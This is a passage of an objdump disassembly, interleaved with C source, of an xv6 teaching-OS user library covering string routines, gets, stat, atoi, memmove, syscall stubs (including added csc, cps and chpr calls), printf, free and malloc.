13a: 8b 45 0c mov 0xc(%ebp),%eax
13d: 89 d7 mov %edx,%edi
13f: fc cld
140: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
142: 89 d0 mov %edx,%eax
144: 5f pop %edi
145: 5d pop %ebp
146: c3 ret
147: 89 f6 mov %esi,%esi
149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000150 <strchr>:
char*
strchr(const char *s, char c)
{
150: 55 push %ebp
151: 89 e5 mov %esp,%ebp
153: 53 push %ebx
154: 8b 45 08 mov 0x8(%ebp),%eax
157: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
15a: 0f b6 10 movzbl (%eax),%edx
15d: 84 d2 test %dl,%dl
15f: 74 1d je 17e <strchr+0x2e>
if(*s == c)
161: 38 d3 cmp %dl,%bl
163: 89 d9 mov %ebx,%ecx
165: 75 0d jne 174 <strchr+0x24>
167: eb 17 jmp 180 <strchr+0x30>
169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
170: 38 ca cmp %cl,%dl
172: 74 0c je 180 <strchr+0x30>
for(; *s; s++)
174: 83 c0 01 add $0x1,%eax
177: 0f b6 10 movzbl (%eax),%edx
17a: 84 d2 test %dl,%dl
17c: 75 f2 jne 170 <strchr+0x20>
return (char*)s;
return 0;
17e: 31 c0 xor %eax,%eax
}
180: 5b pop %ebx
181: 5d pop %ebp
182: c3 ret
183: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000190 <gets>:
char*
gets(char *buf, int max)
{
190: 55 push %ebp
191: 89 e5 mov %esp,%ebp
193: 57 push %edi
194: 56 push %esi
195: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
196: 31 f6 xor %esi,%esi
198: 89 f3 mov %esi,%ebx
{
19a: 83 ec 1c sub $0x1c,%esp
19d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
1a0: eb 2f jmp 1d1 <gets+0x41>
1a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
1a8: 8d 45 e7 lea -0x19(%ebp),%eax
1ab: 83 ec 04 sub $0x4,%esp
1ae: 6a 01 push $0x1
1b0: 50 push %eax
1b1: 6a 00 push $0x0
1b3: e8 32 01 00 00 call 2ea <read>
if(cc < 1)
1b8: 83 c4 10 add $0x10,%esp
1bb: 85 c0 test %eax,%eax
1bd: 7e 1c jle 1db <gets+0x4b>
break;
buf[i++] = c;
1bf: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1c3: 83 c7 01 add $0x1,%edi
1c6: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
1c9: 3c 0a cmp $0xa,%al
1cb: 74 23 je 1f0 <gets+0x60>
1cd: 3c 0d cmp $0xd,%al
1cf: 74 1f je 1f0 <gets+0x60>
for(i=0; i+1 < max; ){
1d1: 83 c3 01 add $0x1,%ebx
1d4: 3b 5d 0c cmp 0xc(%ebp),%ebx
1d7: 89 fe mov %edi,%esi
1d9: 7c cd jl 1a8 <gets+0x18>
1db: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
1dd: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
1e0: c6 03 00 movb $0x0,(%ebx)
}
1e3: 8d 65 f4 lea -0xc(%ebp),%esp
1e6: 5b pop %ebx
1e7: 5e pop %esi
1e8: 5f pop %edi
1e9: 5d pop %ebp
1ea: c3 ret
1eb: 90 nop
1ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1f0: 8b 75 08 mov 0x8(%ebp),%esi
1f3: 8b 45 08 mov 0x8(%ebp),%eax
1f6: 01 de add %ebx,%esi
1f8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1fa: c6 03 00 movb $0x0,(%ebx)
}
1fd: 8d 65 f4 lea -0xc(%ebp),%esp
200: 5b pop %ebx
201: 5e pop %esi
202: 5f pop %edi
203: 5d pop %ebp
204: c3 ret
205: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000210 <stat>:
int
stat(char *n, struct stat *st)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 56 push %esi
214: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
215: 83 ec 08 sub $0x8,%esp
218: 6a 00 push $0x0
21a: ff 75 08 pushl 0x8(%ebp)
21d: e8 f0 00 00 00 call 312 <open>
if(fd < 0)
222: 83 c4 10 add $0x10,%esp
225: 85 c0 test %eax,%eax
227: 78 27 js 250 <stat+0x40>
return -1;
r = fstat(fd, st);
229: 83 ec 08 sub $0x8,%esp
22c: ff 75 0c pushl 0xc(%ebp)
22f: 89 c3 mov %eax,%ebx
231: 50 push %eax
232: e8 f3 00 00 00 call 32a <fstat>
close(fd);
237: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
23a: 89 c6 mov %eax,%esi
close(fd);
23c: e8 b9 00 00 00 call 2fa <close>
return r;
241: 83 c4 10 add $0x10,%esp
}
244: 8d 65 f8 lea -0x8(%ebp),%esp
247: 89 f0 mov %esi,%eax
249: 5b pop %ebx
24a: 5e pop %esi
24b: 5d pop %ebp
24c: c3 ret
24d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
250: be ff ff ff ff mov $0xffffffff,%esi
255: eb ed jmp 244 <stat+0x34>
257: 89 f6 mov %esi,%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000260 <atoi>:
int
atoi(const char *s)
{
260: 55 push %ebp
261: 89 e5 mov %esp,%ebp
263: 53 push %ebx
264: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
267: 0f be 11 movsbl (%ecx),%edx
26a: 8d 42 d0 lea -0x30(%edx),%eax
26d: 3c 09 cmp $0x9,%al
n = 0;
26f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
274: 77 1f ja 295 <atoi+0x35>
276: 8d 76 00 lea 0x0(%esi),%esi
279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
280: 8d 04 80 lea (%eax,%eax,4),%eax
283: 83 c1 01 add $0x1,%ecx
286: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
28a: 0f be 11 movsbl (%ecx),%edx
28d: 8d 5a d0 lea -0x30(%edx),%ebx
290: 80 fb 09 cmp $0x9,%bl
293: 76 eb jbe 280 <atoi+0x20>
return n;
}
295: 5b pop %ebx
296: 5d pop %ebp
297: c3 ret
298: 90 nop
299: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000002a0 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
2a0: 55 push %ebp
2a1: 89 e5 mov %esp,%ebp
2a3: 56 push %esi
2a4: 53 push %ebx
2a5: 8b 5d 10 mov 0x10(%ebp),%ebx
2a8: 8b 45 08 mov 0x8(%ebp),%eax
2ab: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2ae: 85 db test %ebx,%ebx
2b0: 7e 14 jle 2c6 <memmove+0x26>
2b2: 31 d2 xor %edx,%edx
2b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
2b8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
2bc: 88 0c 10 mov %cl,(%eax,%edx,1)
2bf: 83 c2 01 add $0x1,%edx
while(n-- > 0)
2c2: 39 d3 cmp %edx,%ebx
2c4: 75 f2 jne 2b8 <memmove+0x18>
return vdst;
}
2c6: 5b pop %ebx
2c7: 5e pop %esi
2c8: 5d pop %ebp
2c9: c3 ret
000002ca <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2ca: b8 01 00 00 00 mov $0x1,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <exit>:
SYSCALL(exit)
2d2: b8 02 00 00 00 mov $0x2,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <wait>:
SYSCALL(wait)
2da: b8 03 00 00 00 mov $0x3,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <pipe>:
SYSCALL(pipe)
2e2: b8 04 00 00 00 mov $0x4,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <read>:
SYSCALL(read)
2ea: b8 05 00 00 00 mov $0x5,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <write>:
SYSCALL(write)
2f2: b8 10 00 00 00 mov $0x10,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <close>:
SYSCALL(close)
2fa: b8 15 00 00 00 mov $0x15,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <kill>:
SYSCALL(kill)
302: b8 06 00 00 00 mov $0x6,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <exec>:
SYSCALL(exec)
30a: b8 07 00 00 00 mov $0x7,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <open>:
SYSCALL(open)
312: b8 0f 00 00 00 mov $0xf,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <mknod>:
SYSCALL(mknod)
31a: b8 11 00 00 00 mov $0x11,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <unlink>:
SYSCALL(unlink)
322: b8 12 00 00 00 mov $0x12,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <fstat>:
SYSCALL(fstat)
32a: b8 08 00 00 00 mov $0x8,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <link>:
SYSCALL(link)
332: b8 13 00 00 00 mov $0x13,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <mkdir>:
SYSCALL(mkdir)
33a: b8 14 00 00 00 mov $0x14,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <chdir>:
SYSCALL(chdir)
342: b8 09 00 00 00 mov $0x9,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <dup>:
SYSCALL(dup)
34a: b8 0a 00 00 00 mov $0xa,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <getpid>:
SYSCALL(getpid)
352: b8 0b 00 00 00 mov $0xb,%eax
357: cd 40 int $0x40
359: c3 ret
0000035a <sbrk>:
SYSCALL(sbrk)
35a: b8 0c 00 00 00 mov $0xc,%eax
35f: cd 40 int $0x40
361: c3 ret
00000362 <sleep>:
SYSCALL(sleep)
362: b8 0d 00 00 00 mov $0xd,%eax
367: cd 40 int $0x40
369: c3 ret
0000036a <uptime>:
SYSCALL(uptime)
36a: b8 0e 00 00 00 mov $0xe,%eax
36f: cd 40 int $0x40
371: c3 ret
00000372 <csc>:
SYSCALL(csc)
372: b8 16 00 00 00 mov $0x16,%eax
377: cd 40 int $0x40
379: c3 ret
0000037a <cps>:
SYSCALL(cps)
37a: b8 17 00 00 00 mov $0x17,%eax
37f: cd 40 int $0x40
381: c3 ret
00000382 <chpr>:
SYSCALL(chpr)
382: b8 18 00 00 00 mov $0x18,%eax
387: cd 40 int $0x40
389: c3 ret
38a: 66 90 xchg %ax,%ax
38c: 66 90 xchg %ax,%ax
38e: 66 90 xchg %ax,%ax
00000390 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
390: 55 push %ebp
391: 89 e5 mov %esp,%ebp
393: 57 push %edi
394: 56 push %esi
395: 53 push %ebx
396: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
399: 85 d2 test %edx,%edx
{
39b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
39e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
3a0: 79 76 jns 418 <printint+0x88>
3a2: f6 45 08 01 testb $0x1,0x8(%ebp)
3a6: 74 70 je 418 <printint+0x88>
x = -xx;
3a8: f7 d8 neg %eax
neg = 1;
3aa: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
3b1: 31 f6 xor %esi,%esi
3b3: 8d 5d d7 lea -0x29(%ebp),%ebx
3b6: eb 0a jmp 3c2 <printint+0x32>
3b8: 90 nop
3b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
3c0: 89 fe mov %edi,%esi
3c2: 31 d2 xor %edx,%edx
3c4: 8d 7e 01 lea 0x1(%esi),%edi
3c7: f7 f1 div %ecx
3c9: 0f b6 92 c4 07 00 00 movzbl 0x7c4(%edx),%edx
}while((x /= base) != 0);
3d0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
3d2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
3d5: 75 e9 jne 3c0 <printint+0x30>
if(neg)
3d7: 8b 45 c4 mov -0x3c(%ebp),%eax
3da: 85 c0 test %eax,%eax
3dc: 74 08 je 3e6 <printint+0x56>
buf[i++] = '-';
3de: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
3e3: 8d 7e 02 lea 0x2(%esi),%edi
3e6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
3ea: 8b 7d c0 mov -0x40(%ebp),%edi
3ed: 8d 76 00 lea 0x0(%esi),%esi
3f0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
3f3: 83 ec 04 sub $0x4,%esp
3f6: 83 ee 01 sub $0x1,%esi
3f9: 6a 01 push $0x1
3fb: 53 push %ebx
3fc: 57 push %edi
3fd: 88 45 d7 mov %al,-0x29(%ebp)
400: e8 ed fe ff ff call 2f2 <write>
while(--i >= 0)
405: 83 c4 10 add $0x10,%esp
408: 39 de cmp %ebx,%esi
40a: 75 e4 jne 3f0 <printint+0x60>
putc(fd, buf[i]);
}
40c: 8d 65 f4 lea -0xc(%ebp),%esp
40f: 5b pop %ebx
410: 5e pop %esi
411: 5f pop %edi
412: 5d pop %ebp
413: c3 ret
414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
418: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
41f: eb 90 jmp 3b1 <printint+0x21>
421: eb 0d jmp 430 <printf>
423: 90 nop
424: 90 nop
425: 90 nop
426: 90 nop
427: 90 nop
428: 90 nop
429: 90 nop
42a: 90 nop
42b: 90 nop
42c: 90 nop
42d: 90 nop
42e: 90 nop
42f: 90 nop
00000430 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
430: 55 push %ebp
431: 89 e5 mov %esp,%ebp
433: 57 push %edi
434: 56 push %esi
435: 53 push %ebx
436: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
439: 8b 75 0c mov 0xc(%ebp),%esi
43c: 0f b6 1e movzbl (%esi),%ebx
43f: 84 db test %bl,%bl
441: 0f 84 b3 00 00 00 je 4fa <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
447: 8d 45 10 lea 0x10(%ebp),%eax
44a: 83 c6 01 add $0x1,%esi
state = 0;
44d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
44f: 89 45 d4 mov %eax,-0x2c(%ebp)
452: eb 2f jmp 483 <printf+0x53>
454: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
458: 83 f8 25 cmp $0x25,%eax
45b: 0f 84 a7 00 00 00 je 508 <printf+0xd8>
write(fd, &c, 1);
461: 8d 45 e2 lea -0x1e(%ebp),%eax
464: 83 ec 04 sub $0x4,%esp
467: 88 5d e2 mov %bl,-0x1e(%ebp)
46a: 6a 01 push $0x1
46c: 50 push %eax
46d: ff 75 08 pushl 0x8(%ebp)
470: e8 7d fe ff ff call 2f2 <write>
475: 83 c4 10 add $0x10,%esp
478: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
47b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
47f: 84 db test %bl,%bl
481: 74 77 je 4fa <printf+0xca>
if(state == 0){
483: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
485: 0f be cb movsbl %bl,%ecx
488: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
48b: 74 cb je 458 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
48d: 83 ff 25 cmp $0x25,%edi
490: 75 e6 jne 478 <printf+0x48>
if(c == 'd'){
492: 83 f8 64 cmp $0x64,%eax
495: 0f 84 05 01 00 00 je 5a0 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
49b: 81 e1 f7 00 00 00 and $0xf7,%ecx
4a1: 83 f9 70 cmp $0x70,%ecx
4a4: 74 72 je 518 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
4a6: 83 f8 73 cmp $0x73,%eax
4a9: 0f 84 99 00 00 00 je 548 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
4af: 83 f8 63 cmp $0x63,%eax
4b2: 0f 84 08 01 00 00 je 5c0 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
4b8: 83 f8 25 cmp $0x25,%eax
4bb: 0f 84 ef 00 00 00 je 5b0 <printf+0x180>
write(fd, &c, 1);
4c1: 8d 45 e7 lea -0x19(%ebp),%eax
4c4: 83 ec 04 sub $0x4,%esp
4c7: c6 45 e7 25 movb $0x25,-0x19(%ebp)
4cb: 6a 01 push $0x1
4cd: 50 push %eax
4ce: ff 75 08 pushl 0x8(%ebp)
4d1: e8 1c fe ff ff call 2f2 <write>
4d6: 83 c4 0c add $0xc,%esp
4d9: 8d 45 e6 lea -0x1a(%ebp),%eax
4dc: 88 5d e6 mov %bl,-0x1a(%ebp)
4df: 6a 01 push $0x1
4e1: 50 push %eax
4e2: ff 75 08 pushl 0x8(%ebp)
4e5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4e8: 31 ff xor %edi,%edi
write(fd, &c, 1);
4ea: e8 03 fe ff ff call 2f2 <write>
for(i = 0; fmt[i]; i++){
4ef: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
4f3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
4f6: 84 db test %bl,%bl
4f8: 75 89 jne 483 <printf+0x53>
}
}
}
4fa: 8d 65 f4 lea -0xc(%ebp),%esp
4fd: 5b pop %ebx
4fe: 5e pop %esi
4ff: 5f pop %edi
500: 5d pop %ebp
501: c3 ret
502: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
508: bf 25 00 00 00 mov $0x25,%edi
50d: e9 66 ff ff ff jmp 478 <printf+0x48>
512: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
518: 83 ec 0c sub $0xc,%esp
51b: b9 10 00 00 00 mov $0x10,%ecx
520: 6a 00 push $0x0
522: 8b 7d d4 mov -0x2c(%ebp),%edi
525: 8b 45 08 mov 0x8(%ebp),%eax
528: 8b 17 mov (%edi),%edx
52a: e8 61 fe ff ff call 390 <printint>
ap++;
52f: 89 f8 mov %edi,%eax
531: 83 c4 10 add $0x10,%esp
state = 0;
534: 31 ff xor %edi,%edi
ap++;
536: 83 c0 04 add $0x4,%eax
539: 89 45 d4 mov %eax,-0x2c(%ebp)
53c: e9 37 ff ff ff jmp 478 <printf+0x48>
541: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
548: 8b 45 d4 mov -0x2c(%ebp),%eax
54b: 8b 08 mov (%eax),%ecx
ap++;
54d: 83 c0 04 add $0x4,%eax
550: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
553: 85 c9 test %ecx,%ecx
555: 0f 84 8e 00 00 00 je 5e9 <printf+0x1b9>
while(*s != 0){
55b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
55e: 31 ff xor %edi,%edi
s = (char*)*ap;
560: 89 cb mov %ecx,%ebx
while(*s != 0){
562: 84 c0 test %al,%al
564: 0f 84 0e ff ff ff je 478 <printf+0x48>
56a: 89 75 d0 mov %esi,-0x30(%ebp)
56d: 89 de mov %ebx,%esi
56f: 8b 5d 08 mov 0x8(%ebp),%ebx
572: 8d 7d e3 lea -0x1d(%ebp),%edi
575: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
578: 83 ec 04 sub $0x4,%esp
s++;
57b: 83 c6 01 add $0x1,%esi
57e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
581: 6a 01 push $0x1
583: 57 push %edi
584: 53 push %ebx
585: e8 68 fd ff ff call 2f2 <write>
while(*s != 0){
58a: 0f b6 06 movzbl (%esi),%eax
58d: 83 c4 10 add $0x10,%esp
590: 84 c0 test %al,%al
592: 75 e4 jne 578 <printf+0x148>
594: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
597: 31 ff xor %edi,%edi
599: e9 da fe ff ff jmp 478 <printf+0x48>
59e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
5a0: 83 ec 0c sub $0xc,%esp
5a3: b9 0a 00 00 00 mov $0xa,%ecx
5a8: 6a 01 push $0x1
5aa: e9 73 ff ff ff jmp 522 <printf+0xf2>
5af: 90 nop
write(fd, &c, 1);
5b0: 83 ec 04 sub $0x4,%esp
5b3: 88 5d e5 mov %bl,-0x1b(%ebp)
5b6: 8d 45 e5 lea -0x1b(%ebp),%eax
5b9: 6a 01 push $0x1
5bb: e9 21 ff ff ff jmp 4e1 <printf+0xb1>
putc(fd, *ap);
5c0: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
5c3: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
5c6: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
5c8: 6a 01 push $0x1
ap++;
5ca: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
5cd: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
5d0: 8d 45 e4 lea -0x1c(%ebp),%eax
5d3: 50 push %eax
5d4: ff 75 08 pushl 0x8(%ebp)
5d7: e8 16 fd ff ff call 2f2 <write>
ap++;
5dc: 89 7d d4 mov %edi,-0x2c(%ebp)
5df: 83 c4 10 add $0x10,%esp
state = 0;
5e2: 31 ff xor %edi,%edi
5e4: e9 8f fe ff ff jmp 478 <printf+0x48>
s = "(null)";
5e9: bb bb 07 00 00 mov $0x7bb,%ebx
while(*s != 0){
5ee: b8 28 00 00 00 mov $0x28,%eax
5f3: e9 72 ff ff ff jmp 56a <printf+0x13a>
5f8: 66 90 xchg %ax,%ax
5fa: 66 90 xchg %ax,%ax
5fc: 66 90 xchg %ax,%ax
5fe: 66 90 xchg %ax,%ax
00000600 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
600: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
601: a1 74 0a 00 00 mov 0xa74,%eax
{
606: 89 e5 mov %esp,%ebp
608: 57 push %edi
609: 56 push %esi
60a: 53 push %ebx
60b: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
60e: 8d 4b f8 lea -0x8(%ebx),%ecx
611: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
618: 39 c8 cmp %ecx,%eax
61a: 8b 10 mov (%eax),%edx
61c: 73 32 jae 650 <free+0x50>
61e: 39 d1 cmp %edx,%ecx
620: 72 04 jb 626 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
622: 39 d0 cmp %edx,%eax
624: 72 32 jb 658 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
626: 8b 73 fc mov -0x4(%ebx),%esi
629: 8d 3c f1 lea (%ecx,%esi,8),%edi
62c: 39 fa cmp %edi,%edx
62e: 74 30 je 660 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
630: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
633: 8b 50 04 mov 0x4(%eax),%edx
636: 8d 34 d0 lea (%eax,%edx,8),%esi
639: 39 f1 cmp %esi,%ecx
63b: 74 3a je 677 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
63d: 89 08 mov %ecx,(%eax)
freep = p;
63f: a3 74 0a 00 00 mov %eax,0xa74
}
644: 5b pop %ebx
645: 5e pop %esi
646: 5f pop %edi
647: 5d pop %ebp
648: c3 ret
649: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
650: 39 d0 cmp %edx,%eax
652: 72 04 jb 658 <free+0x58>
654: 39 d1 cmp %edx,%ecx
656: 72 ce jb 626 <free+0x26>
{
658: 89 d0 mov %edx,%eax
65a: eb bc jmp 618 <free+0x18>
65c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
660: 03 72 04 add 0x4(%edx),%esi
663: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
666: 8b 10 mov (%eax),%edx
668: 8b 12 mov (%edx),%edx
66a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
66d: 8b 50 04 mov 0x4(%eax),%edx
670: 8d 34 d0 lea (%eax,%edx,8),%esi
673: 39 f1 cmp %esi,%ecx
675: 75 c6 jne 63d <free+0x3d>
p->s.size += bp->s.size;
677: 03 53 fc add -0x4(%ebx),%edx
freep = p;
67a: a3 74 0a 00 00 mov %eax,0xa74
p->s.size += bp->s.size;
67f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
682: 8b 53 f8 mov -0x8(%ebx),%edx
685: 89 10 mov %edx,(%eax)
}
687: 5b pop %ebx
688: 5e pop %esi
689: 5f pop %edi
68a: 5d pop %ebp
68b: c3 ret
68c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000690 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
690: 55 push %ebp
691: 89 e5 mov %esp,%ebp
693: 57 push %edi
694: 56 push %esi
695: 53 push %ebx
696: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
699: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
69c: 8b 15 74 0a 00 00 mov 0xa74,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6a2: 8d 78 07 lea 0x7(%eax),%edi
6a5: c1 ef 03 shr $0x3,%edi
6a8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
6ab: 85 d2 test %edx,%edx
6ad: 0f 84 9d 00 00 00 je 750 <malloc+0xc0>
6b3: 8b 02 mov (%edx),%eax
6b5: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
6b8: 39 cf cmp %ecx,%edi
6ba: 76 6c jbe 728 <malloc+0x98>
6bc: 81 ff 00 10 00 00 cmp $0x1000,%edi
6c2: bb 00 10 00 00 mov $0x1000,%ebx
6c7: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
6ca: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
6d1: eb 0e jmp 6e1 <malloc+0x51>
6d3: 90 nop
6d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6d8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
6da: 8b 48 04 mov 0x4(%eax),%ecx
6dd: 39 f9 cmp %edi,%ecx
6df: 73 47 jae 728 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6e1: 39 05 74 0a 00 00 cmp %eax,0xa74
6e7: 89 c2 mov %eax,%edx
6e9: 75 ed jne 6d8 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
6eb: 83 ec 0c sub $0xc,%esp
6ee: 56 push %esi
6ef: e8 66 fc ff ff call 35a <sbrk>
if(p == (char*)-1)
6f4: 83 c4 10 add $0x10,%esp
6f7: 83 f8 ff cmp $0xffffffff,%eax
6fa: 74 1c je 718 <malloc+0x88>
hp->s.size = nu;
6fc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
6ff: 83 ec 0c sub $0xc,%esp
702: 83 c0 08 add $0x8,%eax
705: 50 push %eax
706: e8 f5 fe ff ff call 600 <free>
return freep;
70b: 8b 15 74 0a 00 00 mov 0xa74,%edx
if((p = morecore(nunits)) == 0)
711: 83 c4 10 add $0x10,%esp
714: 85 d2 test %edx,%edx
716: 75 c0 jne 6d8 <malloc+0x48>
return 0;
}
}
718: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
